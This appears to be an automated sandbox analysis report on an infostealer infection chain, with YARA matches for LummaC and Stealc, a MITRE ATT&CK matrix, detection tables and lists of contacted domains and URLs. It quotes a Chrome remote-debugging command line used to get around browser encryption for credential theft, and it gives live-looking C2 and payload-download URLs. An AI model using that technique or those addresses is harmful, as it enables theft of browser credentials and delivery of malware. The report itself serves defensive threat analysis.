Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN

Source: Yara match	File source: 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2443163369.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2657408134.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7712, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9ef14397f2.exe PID: 344, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d657e56348.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000008.00000003.2458202150.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2866992029.00000000007E1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2587158839.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7208c9365d.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	12 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	235 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeh=V	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/~2	100%	Avira URL Cloud	malware
https://addons.mozilla.orgupgradeTabsProgressListenerchrome://browser/skin/menu.svgtestPermissionFro	0%	Avira URL Cloud	safe
http://185.215.113.206GIE	0%	Avira URL Cloud	safe
http://185.215.113.16/$:	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpser	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api:	100%	Avira URL Cloud	malware
https://screenshots.firefox.com/about-compat/aboutPage.js	0%	Avira URL Cloud	safe
http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
star-mini.c10r.facebook.com	157.240.251.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.129	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
fvtejj5vs.top	62.76.234.151	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
youtube.com	142.250.184.206	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
youtube-ui.l.google.com	142.250.185.110	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
reddit.map.fastly.net	151.101.129.140	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.184.228	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false	high
p10tgrace.sbs	false	high
p3ar11fter.sbs	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://cook-rain.sbs/api:	d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000003.2658257658.00000283C91C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.2731677893.00000283C2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001B.00000002.2702764517.00000283BF07B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000001B.00000002.2682655007.00000283BC726000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%snav	firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.override	firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.orgupgradeTabsProgressListenerchrome://browser/skin/menu.svgtestPermissionFro	firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001B.00000002.2725301194.00000283C1321000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	d657e56348.exe, d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2516033184.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeh=V	d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.2731953566.00000283C213D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C200D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	d657e56348.exe, 00000007.00000002.2795985710.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2807574466.00000000017FB000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809361765.0000000001805000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2835542410.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	false		high
